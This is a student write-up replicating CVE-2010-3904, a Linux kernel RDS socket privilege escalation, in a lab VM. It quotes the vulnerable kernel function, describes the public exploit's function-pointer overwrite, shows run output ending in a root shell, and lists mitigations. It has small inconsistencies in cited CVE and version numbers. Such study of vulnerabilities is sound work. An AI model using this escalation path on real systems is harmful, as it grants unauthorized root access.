Write up for CVE-2010-3904

Xinqi Li

Vulnerability Description

The rds_page_copy_user function in net/rds/page.c in the Reliable Datagram Sockets (RDS) protocol implementation in the Linux kernel before 2.6.36 does not properly validate addresses obtained from user space, which allows local users to gain privileges via crafted use of the sendmsg and recvmsg system calls.

Introduction

Privilege escalation means a user can gain higher privileges, which they are not entitled to, by exploiting a bug, design flaw or configuration oversight in an operating system or application.[1] There are two forms of privilege escalations: Vertical privilege escalation and horizontal privilege escalation.[2] The former means the low privilege user or application accesses the higher privilege users' content or function. For example in this CVE report, the purpose is letting user to get root privilege without authentication. On the other hand, the horizontal privilege escalation is for a normal user get access to other user's content or function. For instance, keystroke logging, cross-site scripting and theft of session cookies.[3]

Replication of the vulnerability

Vulnerable Environment

My host machine installed Windows 7 professional, 64-bit OS. I install Oracle VM VirtualBox Manager 4.3.22.

According to the CVE report[4], the Linux kernel before 2.6.37-rc1 is vulnerable. I install ubuntu 09.10 64-bit OS on the virtual machine. As the following, the kernel version is 2.6.31-14-generic, it should be vulnerable.

```
xinqi@xinqi-laptop:~$ uname -a
Linux xinqi-laptop 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009
 x86 64 GNU/Linux
```

The machine must have gcc, since my exploit code is in C.

Reason of the vulnerability

"The handling functions for sending and receiving RDS messages use unchecked __copy_*_user_inatomic functions without any access checks on user-provided pointers."[5] We can see in the source code for that handling function as following:[6]

The pointer *void __user *ptr* is the unchecked pointer provided by user. by passing a kernel address as an iovec base address in recvmsg-style calls, a local user can overwrite arbitrary kernel memory, which can easily be used to escalate privileges to root.[5] Similarly, the user can perform a kernel read by sendmsg-style calls.

```
56 int rds_page_copy_user(struct page *page, unsigned long offset,
57                         void __user *ptr, unsigned long bytes,
58                         int to_user)
59 {
60         unsigned long ret;
61         void *addr;
62
63         addr = kmap(page);
64         if (to_user) {
65                 rds_stats_add(s_copy_to_user, bytes);
66                 ret = copy_to_user(ptr, addr + offset, bytes);
67         } else {
68                 rds_stats_add(s_copy_from_user, bytes);
69                 ret = copy_from_user(addr + offset, ptr, bytes);
70         }
71         kunmap(page);
72
73         return ret ? -EFAULT : 0;
74 }
```

Explanation of Exploit Code[5]

The code resolves a few kernel symbols,and overwrites a function pointer (rds_ioctl) to point to the payload. After triggering the payload, the original value is restored. The main function call the write_to_mem function to send and receive message. the send and receive function will call the handling function mentioned above, and that function won't check for the user input. So the handling function call copy_from_user function and copy_from_user function to trigger the getroot function whose address is written into the system and execute by the system later. Finally the user can access root without authentication. The run and result shows below:

```
xinqi@xinqi-laptop:~$ gcc rds.c -o rds
xinqi@xinqi-laptop:~$ ./rds
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xffffffffa01e3620
 [+] Resolved rds_ioctl to 0xffffffffa01c7000
 [+] Resolved commit_creds to 0xffffffff8107f270
 [+] Resolved prepare_kernel_cred to 0xffffffff8107f480
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# whoami
root
# id
uid=0(root) gid=0(root)
# exit
xinqi@xinqi-laptop:~$
```

Mitigation strategies

In application level, the most effective way for ubuntu is updating the system or installing patches. There are also other ways to mitigate the vulnerability.[7]

- Run code without administrative privileges as much as possible;
- Enable address space layout randomization
- Use compilers that trap buffer overruns.

Conclusion

Privilege escalation in linux system is not very difficult and there are many similar exploits that can get to root. The principle of how to exploit a system is easy to understand. However, to create a general attack code is difficult. For example, the offset might be different for OS other than ubuntu.

Reference

[1]http://en.wikipedia.org/wiki/Privilege_escalation introduction
[2]http://en.wikipedia.org/wiki/Privilege_escalation background
[3]http://en.wikipedia.org/wiki/Privilege_escalation examples of horizontal privilege escalations
[4]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
[5]http://vulnfactory.org/exploits/rds-fail.c
[6]http://lxr.free-electrons.com/source/net/rds/page.c rds_page_copy_user function
[7]http://www.techrepublic.com/blog/it-security/mitigating-the-privilege-escalation-threat/